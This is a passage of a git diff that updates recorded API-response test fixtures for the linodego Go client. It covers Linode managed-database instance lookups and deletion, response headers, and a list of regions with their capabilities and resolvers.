"go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "backing_up", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -22934,16 +28107,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "650" + - "717" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:19:00 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -22959,7 +28135,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -22975,17 +28151,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "backing_up", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -22998,16 +28175,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "650" + - "717" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:19:15 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -23023,7 +28203,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -23039,17 +28219,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "backing_up", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -23062,16 +28243,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "650" + - "717" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:19:30 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -23087,7 +28271,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -23103,17 +28287,19 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "active", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 2, "members": {"172.105.36.137": "primary", "172.105.63.12": + "failover", "194.195.119.223": "failover"}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -23126,16 +28312,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "646" + - "801" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:19:45 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -23151,7 +28340,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -23167,7 +28356,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: DELETE response: body: '{}' @@ -23183,15 +28372,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:20:02 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -23206,7 +28399,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/TestDatabase_Postgres_Suite.yaml b/test/integration/fixtures/TestDatabase_Postgres_Suite.yaml index 817811e33..f2ce11752 100644 --- a/test/integration/fixtures/TestDatabase_Postgres_Suite.yaml +++ b/test/integration/fixtures/TestDatabase_Postgres_Suite.yaml @@ -15,176 +15,243 @@ interactions: method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud - Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": - "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, - 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", - "ipv6": "1234::5678, 1234::5678, 1234::5678, + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", + "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", + "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, + 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, + 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", - "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, - 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, - 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, + 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, + 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "ap-southeast", - "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, - 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, - 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, + 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, + 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], - "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Managed Databases", "Premium Plans"], "status": "ok", "resolvers": - {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", - "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, - 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, - 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium + Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, + 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, + 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, - 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", + "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": + "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, + 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, - 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": + "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": + "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, + 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", - "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], - "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, - 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, - 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": + "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, + 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "in-maa", - "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": + "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, - 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, - 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, + 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": + "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", + "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, + 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, + 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, + 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, + 172.232.128.27", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, + 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, + 172.233.111.9", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, + 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, - 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, - 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": + "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, + 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": + "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, + 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, - 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, - 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": + "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": + {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, + 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, - 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, - 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": + "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, + 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, - 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 